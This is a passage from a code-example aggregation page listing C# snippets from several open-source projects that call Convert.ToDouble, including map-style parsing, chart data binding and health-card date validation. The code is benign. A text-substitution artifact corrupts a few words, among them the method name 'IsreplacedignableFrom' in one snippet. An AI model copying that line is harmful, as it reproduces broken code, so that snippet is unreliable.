			var propertyValue = Convert.ToDouble(property);
			if (propertyValue < Min)
			{
				return false;
			}
			if (propertyValue >= Max)
			{
				return false;
			}
			return true;
		}

19 View Source File : TypeFilter.cs
License : MIT License
Project Creator : alen-smajic

protected override bool PropertyComparer(object property)
		{
			var propertyValue = Convert.ToDouble(property);
			if (property == null)
			{
				return false;
			}
			if (propertyValue > Min)
			{
				return true;
			}
			return false;
		}

19 View Source File : TypeFilter.cs
License : MIT License
Project Creator : alen-smajic

protected override bool PropertyComparer(object property)
		{

			if (property == null)
			{
				return false;
			}
			var propertyValue = Convert.ToDouble(property);

			if (propertyValue < Min)
			{
				return true;
			}
			return false;
		}

19 View Source File : TypeFilter.cs
License : MIT License
Project Creator : alen-smajic

protected override bool PropertyComparer(object property)
		{
			if (property == null)
			{
				return false;
			}

			var propertyValue = Convert.ToDouble(property);
			if (Math.Abs(propertyValue - Min) < Mapbox.Utils.Constants.EpsilonFloatingPoint)
			{
				return true;
			}
			return false;
		}

19 View Source File : PercentageConverter.cs
License : GNU General Public License v3.0
Project Creator : alexdillon

public object Convert(object value, Type targetType, object parameter, System.Globalization.CultureInfo culture)
        {
            return System.Convert.ToDouble(value) * System.Convert.ToDouble(parameter);
        }

19 View Source File : XYAxisSeries.cs
License : MIT License
Project Creator : AlexGyver

protected virtual double ToDouble(object value)
        {
            if (value is DateTime)
            {
                return DateTimeAxis.ToDouble((DateTime)value);
            }

            if (value is TimeSpan)
            {
                return ((TimeSpan)value).TotalSeconds;
            }

            return Convert.ToDouble(value);
        }

19 View Source File : BasicLineChartNodeModel.cs
License : MIT License
Project Creator : alfarok

private void DataBridgeCallback(object data)
        {
            // Grab input data which always returned as an ArrayList
            var inputs = data as ArrayList;

            // Each of the list inputs are also returned as ArrayLists
            var labels = inputs[0] as ArrayList;
            var values = inputs[1] as ArrayList;
            var colors = inputs[2] as ArrayList;

            // Only continue if key/values match in length
            if (labels.Count != values.Count || labels.Count < 1)
            {
                throw new Exception("Label and Values do not properly align in length.");
            }

            // Clear current chart values
            Labels = new List<string>();
            Values = new List<List<double>>();
            Colors = new List<SolidColorBrush>();

            // If color count doesn't match replacedle count use random colors
            if (colors.Count != labels.Count)
            {
                for (var i = 0; i < labels.Count; i++)
                {
                    var outputValues = new List<double>();

                    foreach (var plotVal in values[i] as ArrayList)
                    {
                        outputValues.Add(System.Convert.ToDouble(plotVal));
                    }

                    Labels.Add((string)labels[i]);
                    Values.Add(outputValues);

                    Color randomColor = Color.FromArgb(255, (byte)rnd.Next(256), (byte)rnd.Next(256), (byte)rnd.Next(256));
                    SolidColorBrush brush = new SolidColorBrush(randomColor);
                    brush.Freeze();
                    Colors.Add(brush);
                }
            }
            else
            {
                for (var i = 0; i < labels.Count; i++)
                {
                    var outputValues = new List<double>();

                    foreach (var plotVal in values[i] as ArrayList)
                    {
                        outputValues.Add(System.Convert.ToDouble(plotVal));
                    }

                    Labels.Add((string)labels[i]);
                    Values.Add(outputValues);

                    var dynColor = (DSCore.Color)colors[i];
                    var convertedColor = Color.FromArgb(dynColor.Alpha, dynColor.Red, dynColor.Green, dynColor.Blue);
                    SolidColorBrush brush = new SolidColorBrush(convertedColor);
                    brush.Freeze();
                    Colors.Add(brush);
                }
            }

            // Notify UI the data has been modified
            RaisePropertyChanged("DataUpdated");
        }

19 View Source File : PieChartNodeModel.cs
License : MIT License
Project Creator : alfarok

private void DataBridgeCallback(object data)
        {
            // Grab input data which always returned as an ArrayList
            var inputs = data as ArrayList;

            // Each of the list inputs are also returned as ArrayLists
            var keys = inputs[0] as ArrayList;
            var values = inputs[1] as ArrayList;
            var colors = inputs[2] as ArrayList;

            // Only continue if key/values match in length
            if(keys.Count != values.Count || keys.Count < 1)
            {
                throw new Exception("Label and Values do not properly align in length.");
            }

            // Update chart properties
            Labels = new List<string>();
            Values = new List<double>();
            Colors = new List<SolidColorBrush>();

            if (colors.Count != keys.Count)
            {
                for (var i = 0; i < keys.Count; i++)
                {
                    Labels.Add((string)keys[i]);
                    Values.Add(System.Convert.ToDouble(values[i]));
                    Color randomColor = Color.FromArgb(255, (byte)rnd.Next(256), (byte)rnd.Next(256), (byte)rnd.Next(256));
                    SolidColorBrush brush = new SolidColorBrush(randomColor);
                    brush.Freeze();
                    Colors.Add(brush);
                }
            }
            else
            {
                for (var i = 0; i < keys.Count; i++)
                {
                    Labels.Add((string)keys[i]);
                    Values.Add(System.Convert.ToDouble(values[i]));
                    var dynColor = (DSCore.Color)colors[i];
                    var convertedColor = Color.FromArgb(dynColor.Alpha, dynColor.Red, dynColor.Green, dynColor.Blue);
                    SolidColorBrush brush = new SolidColorBrush(convertedColor);
                    brush.Freeze();
                    Colors.Add(brush);
                }
            }

            // Notify UI the data has been modified
            RaisePropertyChanged("DataUpdated");
        }

19 View Source File : ScatterPlotNodeModel.cs
License : MIT License
Project Creator : alfarok

private void DataBridgeCallback(object data)
        {
            // Grab input data which always returned as an ArrayList
            var inputs = data as ArrayList;

            // Each of the list inputs are also returned as ArrayLists
            var labels = inputs[0] as ArrayList;
            var xValues = inputs[1] as ArrayList;
            var yValues = inputs[2] as ArrayList;
            var colors = inputs[3] as ArrayList;

            // Only continue if key/values match in length
            if (labels.Count != xValues.Count || xValues.Count != yValues.Count || labels.Count < 1)
            {
                throw new Exception("Label and Values do not properly align in length.");
            }

            // Clear current chart values
            Labels = new List<string>();
            XValues = new List<List<double>>();
            YValues = new List<List<double>>();
            Colors = new List<SolidColorBrush>();

            // If color count doesn't match replacedle count use random colors
            if (colors.Count != labels.Count)
            {
                for (var i = 0; i < labels.Count; i++)
                {
                    var outputXValues = new List<double>();
                    var outputYValues = new List<double>();

                    var unpackedXValues = xValues[i] as ArrayList;
                    var unpackedYValues = yValues[i] as ArrayList;

                    for (var j = 0; j < unpackedXValues.Count; j++)
                    {
                        outputXValues.Add(Convert.ToDouble(unpackedXValues[j]));
                        outputYValues.Add(Convert.ToDouble(unpackedYValues[j]));
                    }

                    Labels.Add((string)labels[i]);
                    XValues.Add(outputXValues);
                    YValues.Add(outputYValues);

                    Color randomColor = Color.FromArgb(255, (byte)rnd.Next(256), (byte)rnd.Next(256), (byte)rnd.Next(256));
                    SolidColorBrush brush = new SolidColorBrush(randomColor);
                    brush.Freeze();
                    Colors.Add(brush);
                }
            }
            // Else all inputs should be consistent in length
            else
            {
                for (var i = 0; i < labels.Count; i++)
                {
                    var outputXValues = new List<double>();
                    var outputYValues = new List<double>();

                    var unpackedXValues = xValues[i] as ArrayList;
                    var unpackedYValues = yValues[i] as ArrayList;

                    for (var j = 0; j < unpackedXValues.Count; j++)
                    {
                        outputXValues.Add(Convert.ToDouble(unpackedXValues[j]));
                        outputYValues.Add(Convert.ToDouble(unpackedYValues[j]));
                    }

                    Labels.Add((string)labels[i]);
                    XValues.Add(outputXValues);
                    YValues.Add(outputYValues);

                    var dynColor = (DSCore.Color)colors[i];
                    var convertedColor = Color.FromArgb(dynColor.Alpha, dynColor.Red, dynColor.Green, dynColor.Blue);
                    SolidColorBrush brush = new SolidColorBrush(convertedColor);
                    brush.Freeze();
                    Colors.Add(brush);
                }
            }

            // Notify UI the data has been modified
            RaisePropertyChanged("DataUpdated");
        }

19 View Source File : BarChartNodeModel.cs
License : MIT License
Project Creator : alfarok

private void DataBridgeCallback(object data)
        {
            // Grab input data which always returned as an ArrayList
            var inputs = data as ArrayList;

            // Each of the list inputs are also returned as ArrayLists
            var labels = inputs[0] as ArrayList;
            var values = inputs[1] as ArrayList;
            var colors = inputs[2] as ArrayList;

            // Only continue if key/values match in length
            if(labels.Count != values.Count || labels.Count < 1)
            {
                throw new Exception("Label and Values do not properly align in length.");
            }

            // Update chart properties
            Labels = new List<string>();
            Values = new List<List<double>>();
            Colors = new List<SolidColorBrush>();

            if (colors.Count != labels.Count)
            {
                for (var i = 0; i < labels.Count; i++)
                {
                    Labels.Add((string)labels[i]);

                    var unpackedValues = values[i] as ArrayList;
                    var labelValues = new List<double>();

                    for (var j = 0; j < unpackedValues.Count; j++)
                    {
                        labelValues.Add(Convert.ToDouble(unpackedValues[j]));
                    }

                    Values.Add(labelValues);
                    Color randomColor = Color.FromArgb(255, (byte)rnd.Next(256), (byte)rnd.Next(256), (byte)rnd.Next(256));
                    SolidColorBrush brush = new SolidColorBrush(randomColor);
                    brush.Freeze();
                    Colors.Add(brush);
                }
            }
            else
            {
                for (var i = 0; i < labels.Count; i++)
                {
                    Labels.Add((string)labels[i]);

                    var unpackedValues = values[i] as ArrayList;
                    var labelValues = new List<double>();

                    for (var j = 0; j < unpackedValues.Count; j++)
                    {
                        labelValues.Add(Convert.ToDouble(unpackedValues[j]));
                    }

                    Values.Add(labelValues);

                    var dynColor = (DSCore.Color)colors[i];
                    var convertedColor = Color.FromArgb(dynColor.Alpha, dynColor.Red, dynColor.Green, dynColor.Blue);
                    SolidColorBrush brush = new SolidColorBrush(convertedColor);
                    brush.Freeze();
                    Colors.Add(brush);
                }
            }

            // Notify UI the data has been modified
            RaisePropertyChanged("DataUpdated");
        }

19 View Source File : HeatSeriesNodeModel.cs
License : MIT License
Project Creator : alfarok

private void DataBridgeCallback(object data)
        {
            // Grab input data which always returned as an ArrayList
            var inputs = data as ArrayList;

            // Each of the list inputs are also returned as ArrayLists
            var xLabels = inputs[0] as ArrayList;
            var yLabels = inputs[1] as ArrayList;
            var values = inputs[2] as ArrayList;
            var colors = inputs[3] as ArrayList;

            // TODO - is it worth/possible to display jagged data
            // If data is jagged throw warning
            if (xLabels.Count != values.Count || xLabels.Count == 0)
            {
                throw new Exception("Label and Values do not properly align in length.");
            }

            // Clear current chart values
            XLabels = new List<string>();
            YLabels = new List<string>();
            Values = new List<List<double>>();
            Colors = new List<Color>();

            // Iterate the x and y values separately as they may be different lengths
            for (var i = 0; i < xLabels.Count; i++)
            {
                XLabels.Add((string)xLabels[i]);
            }

            for (var i = 0; i < yLabels.Count; i++)
            {
                YLabels.Add((string)yLabels[i]);
            }

            // Iterate values (count should be x-labels length * y-lables length)
            for (var i = 0; i < values.Count; i++)
            {
                var unpackedValues = values[i] as ArrayList;
                var outputValues = new List<double>();

                for(int j = 0; j < unpackedValues.Count; j++)
                {
                    outputValues.Add(Convert.ToDouble(unpackedValues[j]));
                }

                Values.Add(outputValues);
            }

            // If colors is empty add 1 random color
            if (colors == null || colors.Count == 0)
            {
                Color randomColor = Color.FromArgb(255, (byte)rnd.Next(256), (byte)rnd.Next(256), (byte)rnd.Next(256));
                Colors.Add(randomColor);
            }

            // If provided with 1 color blend white to color
            // Else create color range from provided color
            else
            {
                for(var i = 0; i < colors.Count; i++)
                {
                    var dynColor = (DSCore.Color)colors[i];
                    var convertedColor = Color.FromArgb(dynColor.Alpha, dynColor.Red, dynColor.Green, dynColor.Blue);
                    Colors.Add(convertedColor);
                }
            }

            // TODO - Should this use Dynamo Scheduler to prevent timing issues with redundant calls?
            // Notify UI the data has been modified
            RaisePropertyChanged("DataUpdated");
        }

19 View Source File : Style.cs
License : MIT License
Project Creator : AliFlux

public Brush ParseStyle(Layer layer, double scale, Dictionary<string, object> attributes)
        {
            var paintData = layer.Paint;
            var layoutData = layer.Layout;
            var index = layer.Index;

            var brush = new Brush();
            brush.ZIndex = index;
            brush._layer = layer;
            brush.GlyphsDirectory = this.FontDirectory;

            var paint = new Paint();
            brush.Paint = paint;

            if (layer.ID == "country_label")
            {

            }

            if (paintData != null)
            {
                // --

                if (paintData.ContainsKey("fill-color"))
                {
                    paint.FillColor = parseColor(getValue(paintData["fill-color"], attributes));
                }

                if (paintData.ContainsKey("background-color"))
                {
                    paint.BackgroundColor = parseColor(getValue(paintData["background-color"], attributes));
                }

                if (paintData.ContainsKey("text-color"))
                {
                    paint.TextColor = parseColor(getValue(paintData["text-color"], attributes));
                }

                if (paintData.ContainsKey("line-color"))
                {
                    paint.LineColor = parseColor(getValue(paintData["line-color"], attributes));
                }

                // --

                if (paintData.ContainsKey("line-pattern"))
                {
                    paint.LinePattern = (string)getValue(paintData["line-pattern"], attributes);
                }

                if (paintData.ContainsKey("background-pattern"))
                {
                    paint.BackgroundPattern = (string)getValue(paintData["background-pattern"], attributes);
                }

                if (paintData.ContainsKey("fill-pattern"))
                {
                    paint.FillPattern = (string)getValue(paintData["fill-pattern"], attributes);
                }

                // --

                if (paintData.ContainsKey("text-opacity"))
                {
                    paint.TextOpacity = Convert.ToDouble(getValue(paintData["text-opacity"], attributes));
                }

                if (paintData.ContainsKey("icon-opacity"))
                {
                    paint.IconOpacity = Convert.ToDouble(getValue(paintData["icon-opacity"], attributes));
                }

                if (paintData.ContainsKey("line-opacity"))
                {
                    paint.LineOpacity = Convert.ToDouble(getValue(paintData["line-opacity"], attributes));
                }

                if (paintData.ContainsKey("fill-opacity"))
                {
                    paint.FillOpacity = Convert.ToDouble(getValue(paintData["fill-opacity"], attributes));
                }

                if (paintData.ContainsKey("background-opacity"))
                {
                    paint.BackgroundOpacity = Convert.ToDouble(getValue(paintData["background-opacity"], attributes));
                }

                // --

                if (paintData.ContainsKey("line-width"))
                {
                    paint.LineWidth = Convert.ToDouble(getValue(paintData["line-width"], attributes)) * scale; // * screenScale;
                }

                if (paintData.ContainsKey("line-offset"))
                {
                    paint.LineOffset = Convert.ToDouble(getValue(paintData["line-offset"], attributes)) * scale;// * screenScale;
                }

                if (paintData.ContainsKey("line-dasharray"))
                {
                    var array = (getValue(paintData["line-dasharray"], attributes) as object[]);
                    paint.LineDashArray = array.Select(item => Convert.ToDouble(item) * scale).ToArray();
                }

                // --

                if (paintData.ContainsKey("text-halo-color"))
                {
                    paint.TextStrokeColor = parseColor(getValue(paintData["text-halo-color"], attributes));
                }

                if (paintData.ContainsKey("text-halo-width"))
                {
                    paint.TextStrokeWidth = Convert.ToDouble(getValue(paintData["text-halo-width"], attributes)) * scale;
                }

                if (paintData.ContainsKey("text-halo-blur"))
                {
                    paint.TextStrokeBlur = Convert.ToDouble(getValue(paintData["text-halo-blur"], attributes)) * scale;
                }

                // --

                //Console.WriteLine("paint");
                //Console.WriteLine(paintData.ToString());

                //foreach (var keyName in ((JObject)paintData).Properties().Select(p => p.Name))
                //{
                //    Console.WriteLine(keyName);
                //}
            }

            if (layoutData != null)
            {
                if (layoutData.ContainsKey("line-cap"))
                {
                    var value = (string)getValue(layoutData["line-cap"], attributes);
                    if (value == "butt")
                    {
                        paint.LineCap = PenLineCap.Flat;
                    }
                    else if (value == "round")
                    {
                        paint.LineCap = PenLineCap.Round;
                    }
                    else if (value == "square")
                    {
                        paint.LineCap = PenLineCap.Square;
                    }
                }

                if (layoutData.ContainsKey("visibility"))
                {
                    paint.Visibility = ((string)getValue(layoutData["visibility"], attributes)) == "visible";
                }

                if (layoutData.ContainsKey("text-field"))
                {
                    brush.TextField = (string)getValue(layoutData["text-field"], attributes);

                    // TODO check performance implications of Regex.Replace
                    brush.Text = Regex.Replace(brush.TextField, @"\{([A-Za-z0-9\-\:_]+)\}", (Match m) =>
                    {
                        var key = stripBraces(m.Value);
                        if (attributes.ContainsKey(key))
                        {
                            return attributes[key].ToString();
                        }

                        return "";
                    }).Trim();
                }

                if (layoutData.ContainsKey("text-font"))
                {
                    paint.TextFont = ((object[])getValue(layoutData["text-font"], attributes)).Select(item => (string)item).ToArray();
                }

                if (layoutData.ContainsKey("text-size"))
                {
                    paint.TextSize = Convert.ToDouble(getValue(layoutData["text-size"], attributes)) * scale;
                }

                if (layoutData.ContainsKey("text-max-width"))
                {
                    paint.TextMaxWidth = Convert.ToDouble(getValue(layoutData["text-max-width"], attributes)) * scale;// * screenScale;
                }

                if (layoutData.ContainsKey("text-offset"))
                {
                    var value = (object[])getValue(layoutData["text-offset"], attributes);
                    paint.TextOffset = new Point(Convert.ToDouble(value[0]) * scale, Convert.ToDouble(value[1]) * scale);
                }

                if (layoutData.ContainsKey("text-optional"))
                {
                    paint.TextOptional = (bool)(getValue(layoutData["text-optional"], attributes));
                }

                if (layoutData.ContainsKey("text-transform"))
                {
                    var value = (string)getValue(layoutData["text-transform"], attributes);
                    if (value == "none")
                    {
                        paint.TextTransform = TextTransform.None;
                    }
                    else if (value == "uppercase")
                    {
                        paint.TextTransform = TextTransform.Uppercase;
                    }
                    else if (value == "lowercase")
                    {
                        paint.TextTransform = TextTransform.Lowercase;
                    }
                }

                if (layoutData.ContainsKey("icon-size"))
                {
                    paint.IconScale = Convert.ToDouble(getValue(layoutData["icon-size"], attributes)) * scale;
                }

                if (layoutData.ContainsKey("icon-image"))
                {
                    paint.IconImage = (string)getValue(layoutData["icon-image"], attributes);
                }

                //Console.WriteLine("layout");
                //Console.WriteLine(layoutData.ToString());
            }

            return brush;
        }

19 View Source File : Style.cs
License : MIT License
Project Creator : AliFlux

private bool validateUsingFilter(object[] filterArray, Dictionary<string, object> attributes)
        {
            if (filterArray.Count() == 0)
            {
            }
            var operation = filterArray[0] as string;
            bool result;

            if (operation == "all")
            {
                foreach (object[] subFilter in filterArray.Skip(1))
                {
                    if (!validateUsingFilter(subFilter, attributes))
                    {
                        return false;
                    }
                }
                return true;
            }
            else if (operation == "any")
            {
                foreach (object[] subFilter in filterArray.Skip(1))
                {
                    if (validateUsingFilter(subFilter, attributes))
                    {
                        return true;
                    }
                }
                return false;
            }
            else if (operation == "none")
            {
                result = false;
                foreach (object[] subFilter in filterArray.Skip(1))
                {
                    if (validateUsingFilter(subFilter, attributes))
                    {
                        result = true;
                    }
                }
                return !result;
            }

            switch (operation)
            {
                case "==":
                case "!=":
                case ">":
                case ">=":
                case "<":
                case "<=":

                    var key = (string)filterArray[1];

                    if (operation == "==")
                    {
                        if (!attributes.ContainsKey(key))
                        {
                            return false;
                        }
                    }
                    else
                    {
                        // special case, comparing inequality with non existent attribute
                        if (!attributes.ContainsKey(key))
                        {
                            return true;
                        }
                    }

                    if (!(attributes[key] is IComparable))
                    {
                        throw new NotImplementedException("Comparing colors probably");
                        return false;
                    }

                    var valueA = (IComparable)attributes[key];
                    var valueB = getValue(filterArray[2], attributes);

                    if (isNumber(valueA) && isNumber(valueB))
                    {
                        valueA = Convert.ToDouble(valueA);
                        valueB = Convert.ToDouble(valueB);
                    }

                    if (key is string)
                    {
                        if (key == "capital")
                        {

                        }
                    }

                    if (valueA.GetType() != valueB.GetType())
                    {
                        return false;
                    }

                    var comparison = valueA.CompareTo(valueB);

                    if (operation == "==")
                    {
                        return comparison == 0;
                    }
                    else if (operation == "!=")
                    {
                        return comparison != 0;
                    }
                    else if (operation == ">")
                    {
                        return comparison > 0;
                    }
                    else if (operation == "<")
                    {
                        return comparison < 0;
                    }
                    else if (operation == ">=")
                    {
                        return comparison >= 0;
                    }
                    else if (operation == "<=")
                    {
                        return comparison <= 0;
                    }

                    break;
            }

            if (operation == "has")
            {
                return attributes.ContainsKey(filterArray[1] as string);
            }
            else if (operation == "!has")
            {
                return !attributes.ContainsKey(filterArray[1] as string);
            }


            if (operation == "in")
            {
                var key = filterArray[1] as string;
                if (!attributes.ContainsKey(key))
                {
                    return false;
                }

                var value = attributes[key];

                foreach (object item in filterArray.Skip(2))
                {
                    if (getValue(item, attributes).Equals(value))
                    {
                        return true;
                    }
                }
                return false;
            }
            else if (operation == "!in")
            {
                var key = filterArray[1] as string;
                if (!attributes.ContainsKey(key))
                {
                    return true;
                }

                var value = attributes[key];

                foreach (object item in filterArray.Skip(2))
                {
                    if (getValue(item, attributes).Equals(value))
                    {
                        return false;
                    }
                }
                return true;
            }

            return false;
        }

19 View Source File : Style.cs
License : MIT License
Project Creator : AliFlux

private object interpolateValues(object startValue, object endValue, double zoomA, double zoomB, double zoom, double power, bool clamp = false)
        {
            if (startValue is string)
            {
                // TODO implement color mappings
                //var minValue = parseColor(startValue.Value<string>());
                //var maxValue = parseColor(endValue.Value<string>());


                //var newR = convertRange(zoom, zoomA, zoomB, minValue.ScR, maxValue.ScR, power, false);
                //var newG = convertRange(zoom, zoomA, zoomB, minValue.ScG, maxValue.ScG, power, false);
                //var newB = convertRange(zoom, zoomA, zoomB, minValue.ScB, maxValue.ScB, power, false);
                //var newA = convertRange(zoom, zoomA, zoomB, minValue.ScA, maxValue.ScA, power, false);

                //return Color.FromScRgb((float)newA, (float)newR, (float)newG, (float)newB);

                var minValue = startValue as string;
                var maxValue = endValue as string;

                if (Math.Abs(zoomA - zoom) <= Math.Abs(zoomB - zoom))
                {
                    return minValue;
                }
                else
                {
                    return maxValue;
                }

            }
            else if (startValue.GetType().IsArray)
            {
                List<object> result = new List<object>();
                var startArray = startValue as object[];
                var endArray = endValue as object[];

                for (int i = 0; i < startArray.Count(); i++)
                {
                    var minValue = startArray[i];
                    var maxValue = endArray[i];

                    var value = interpolateValues(minValue, maxValue, zoomA, zoomB, zoom, power, clamp);

                    result.Add(value);
                }

                return result.ToArray();
            }
            else if (isNumber(startValue))
            {
                var minValue = Convert.ToDouble(startValue);
                var maxValue = Convert.ToDouble(endValue);

                return interpolateRange(zoom, zoomA, zoomB, minValue, maxValue, power, clamp);
            }
            else
            {
                throw new NotImplementedException("Unimplemented interpolation");
            }
        }

19 View Source File : Style.cs
License : MIT License
Project Creator : AliFlux

object getValue(object token, Dictionary<string, object> attributes = null)
        {

            if (token is string && attributes != null)
            {
                string value = token as string;
                if (value.Length == 0)
                {
                    return "";
                }
                if (value[0] == '$')
                {
                    return getValue(attributes[value]);
                }
            }

            if (token.GetType().IsArray)
            {
                var array = token as object[];
                //List<object> result = new List<object>();

                //foreach (object item in array)
                //{
                //    var obj = getValue(item, attributes);
                //    result.Add(obj);
                //}

                //return result.ToArray();

                return array.Select(item => getValue(item, attributes)).ToArray();
            }
            else if (token is Dictionary<string, object>)
            {
                var dict = token as Dictionary<string, object>;
                if (dict.ContainsKey("stops"))
                {
                    var stops = dict["stops"] as object[];
                    // if it has stops, it's interpolation domain now :P
                    //var pointStops = stops.Select(item => new Tuple<double, JToken>((item as JArray)[0].Value<double>(), (item as JArray)[1])).ToList();
                    var pointStops = stops.Select(item => new Tuple<double, object>(Convert.ToDouble((item as object[])[0]), (item as object[])[1])).ToList();

                    var zoom = (double)attributes["$zoom"];
                    var minZoom = pointStops.First().Item1;
                    var maxZoom = pointStops.Last().Item1;
                    double power = 1;

                    if (minZoom == 5 && maxZoom == 10)
                    {

                    }

                    double zoomA = minZoom;
                    double zoomB = maxZoom;
                    int zoomAIndex = 0;
                    int zoomBIndex = pointStops.Count() - 1;

                    // get min max zoom bounds from array
                    if (zoom <= minZoom)
                    {
                        //zoomA = minZoom;
                        //zoomB = pointStops[1].Item1;
                        return pointStops.First().Item2;
                    }
                    else if (zoom >= maxZoom)
                    {
                        //zoomA = pointStops[pointStops.Count - 2].Item1;
                        //zoomB = maxZoom;
                        return pointStops.Last().Item2;
                    }
                    else
                    {
                        // checking for consecutive values
                        for (int i = 1; i < pointStops.Count(); i++)
                        {
                            var previousZoom = pointStops[i - 1].Item1;
                            var thisZoom = pointStops[i].Item1;

                            if (zoom >= previousZoom && zoom <= thisZoom)
                            {
                                zoomA = previousZoom;
                                zoomB = thisZoom;

                                zoomAIndex = i - 1;
                                zoomBIndex = i;
                                break;
                            }
                        }
                    }


                    if (dict.ContainsKey("base"))
                    {
                        power = Convert.ToDouble(getValue(dict["base"], attributes));
                    }

                    //var referenceElement = (stops[0] as object[])[1];

                    return interpolateValues(pointStops[zoomAIndex].Item2, pointStops[zoomBIndex].Item2, zoomA, zoomB, zoom, power, false);

                }
            }


            //if (token is string)
            //{
            //    return token as string;
            //}
            //else if (token is bool)
            //{
            //    return (bool)token;
            //}
            //else if (token is float)
            //{
            //    return token as float;
            //}
            //else if (token.Type == JTokenType.Integer)
            //{
            //    return token.Value<int>();
            //}
            //else if (token.Type == JTokenType.None || token.Type == JTokenType.Null)
            //{
            //    return null;
            //}


            return token;
        }

19 View Source File : IsNumberIntConverter.cs
License : MIT License
Project Creator : Altevir

public object Convert(object value, Type targetType, object parameter, CultureInfo culture)
        {
            int number;
            int.TryParse(value.ToString(), out number);

            return number == 0 ? System.Convert.ToDouble(value).ToString("N1") : number.ToString();
        }

19 View Source File : ModConfig.cs
License : MIT License
Project Creator : amazingalek

private T ConvertToEnum<T>(object value)
		{
			if (value is float || value is double)
			{
				var floatValue = Convert.ToDouble(value);
				return (T)(object)(long)Math.Round(floatValue);
			}

			if (value is int || value is long)
			{
				return (T)value;
			}

			var valueString = Convert.ToString(value);

			try
			{
				return (T)Enum.Parse(typeof(T), valueString, true);
			}
			catch (ArgumentException ex)
			{
				Debug.LogError($"Can't convert {valueString} to enum {typeof(T)}: {ex.Message}");
				return default;
			}
		}

19 View Source File : NumberToHumanReadableConverter.cs
License : GNU General Public License v3.0
Project Creator : Amebis

public object Convert(object value, Type targetType, object parameter, CultureInfo culture)
        {
            if (value == null)
                return null;

            double number = System.Convert.ToDouble(value);
            int b = parameter != null ? System.Convert.ToInt32(parameter) : Base;

            if (number <= 0.5 && EmptyIfZero)
                return "";

            int n = number > 0.5 ? Math.Min((int)Math.Truncate(Math.Log(Math.Abs(number)) / Math.Log(b)), Prefixes.Length) : 0;
            double x = number / Math.Pow(b, n);
            return string.Format(
                Views.Resources.Strings.NumberToHumanReadable,
                n > 0 && Math.Abs(x) < 10 ?
                    (Math.Truncate(x * 10) / 10).ToString("N1") :
                     Math.Truncate(x).ToString(),
                Prefixes[n],
                Unit);
        }

19 View Source File : IMFAttributes.cs
License : MIT License
Project Creator : amerkoleci

public unsafe void Set<T>(Guid guidKey, T value)
        {
            // Perform conversions to supported types
            // int
            // long
            // string
            // byte[]
            // double
            // ComObject
            // Guid

            if (typeof(T) == typeof(int) || typeof(T) == typeof(bool) || typeof(T) == typeof(byte) || typeof(T) == typeof(uint) || typeof(T) == typeof(short) || typeof(T) == typeof(ushort) || typeof(T) == typeof(byte) || typeof(T) == typeof(sbyte)
                || typeof(T).IsEnum)
            {
                Set(guidKey, Convert.ToInt32(value));
                return;
            }

            if (typeof(T) == typeof(long) || typeof(T) == typeof(ulong))
            {
                Set(guidKey, Convert.ToInt64(value));
                return;
            }

            if (typeof(T) == typeof(IntPtr))
            {
                Set(guidKey, ((IntPtr)(object)value).ToInt64());
                return;
            }

            if (typeof(T) == typeof(Guid))
            {
                Set(guidKey, (Guid)(object)value);
                return;
            }

            if (typeof(T) == typeof(string))
            {
                Set(guidKey, value.ToString());
                return;
            }

            if (typeof(T) == typeof(double) || typeof(T) == typeof(float))
            {
                Set(guidKey, Convert.ToDouble(value));
                return;
            }

            if (typeof(T) == typeof(byte[]))
            {
                var arrayValue = ((byte[])(object)value);
                fixed (void* pBuffer = arrayValue)
                    SetBlob(guidKey, (IntPtr)pBuffer, arrayValue.Length);
                return;
            }


            if (typeof(T).IsValueType)
            {
                SetBlob(guidKey, (IntPtr)Unsafe.AsPointer(ref value), Unsafe.SizeOf<T>());
                return;
            }

            if (typeof(T) == typeof(ComObject) || typeof(IUnknown).IsreplacedignableFrom(typeof(T)))
            {
                Set(guidKey, ((IUnknown)(object)value));
                return;
            }

            throw new ArgumentException("The type of the value is not supported");
        }

19 View Source File : Formatter.cs
License : MIT License
Project Creator : andersnm

static public string Format(object value, Section node, CultureInfo culture, bool isDate1904)
        {
            switch (node.Type)
            {
                case SectionType.Number:
                    // Hide sign under certain conditions and section index
                    var number = Convert.ToDouble(value, culture);
                    if ((node.SectionIndex == 0 && node.Condition != null) || node.SectionIndex == 1)
                        number = Math.Abs(number);

                    return FormatNumber(number, node.Number, culture);

                case SectionType.Date:
                    if (ExcelDateTime.TryConvert(value, isDate1904, culture, out var excelDateTime))
                    {
                        return FormatDate(excelDateTime, node.GeneralTextDateDurationParts, culture);
                    }
                    else
                    {
                        throw new FormatException("Unexpected date value");
                    }

                case SectionType.Duration:
                    if (value is TimeSpan ts)
                    {
                        return FormatTimeSpan(ts, node.GeneralTextDateDurationParts, culture);
                    }
                    else
                    {
                        var d = Convert.ToDouble(value);
                        return FormatTimeSpan(TimeSpan.FromDays(d), node.GeneralTextDateDurationParts, culture);
                    }

                case SectionType.General:
                case SectionType.Text:
                    return FormatGeneralText(CompatibleConvert.ToString(value, culture), node.GeneralTextDateDurationParts);

                case SectionType.Exponential:
                    return FormatExponential(Convert.ToDouble(value, culture), node, culture);

                case SectionType.Fraction:
                    return FormatFraction(Convert.ToDouble(value, culture), node, culture);

                default:
                    throw new InvalidOperationException("Unknown number format section");
            }
        }

19 View Source File : SmartHealthCardModel.cs
License : MIT License
Project Creator : angusmillar

public DateTimeOffset GetIssuanceDate()
    {
      double NbfDouble;
      try
      {
        NbfDouble = Convert.ToDouble(this.IssuanceDate);
      }
      catch
      {
        throw new SmartHealthCardPayloadException($"IssuanceDate (nbf) must be a number, found the value of {this.IssuanceDate}.");
      }
      return UnixEpoch.UnixTimeStampToLocalDateTimeOffset(NbfDouble);     
    }

19 View Source File : SmartHealthCardModel.cs
License : MIT License
Project Creator : angusmillar

private Result ValidateIssuanceDate()
    {
      var EpochNow = UnixEpoch.GetSecondsSince(DateTimeOffset.UtcNow);

      //(https://datatracker.ietf.org/doc/html/rfc7519#section-4.1.5)
      //Quote: Implementers MAY provide for some small leeway, usually no more than a few minutes, to account for clock skew. 
      //This libaray will add 2 min for the leeway.
      int ExtraTimeMargin = 120;
      
      double IssuanceDateEpoch;
      try
      {
        IssuanceDateEpoch = Convert.ToDouble(this.IssuanceDate);
      }
      catch
      {
        return Result.Fail($"IssuanceDate (nbf) must be a number, found the value of {this.IssuanceDate}.");        
      }

      if ((EpochNow + ExtraTimeMargin) < IssuanceDateEpoch)
      {
        DateTimeOffset Date = UnixEpoch.UnixTimeStampToLocalDateTimeOffset(EpochNow + ExtraTimeMargin);        
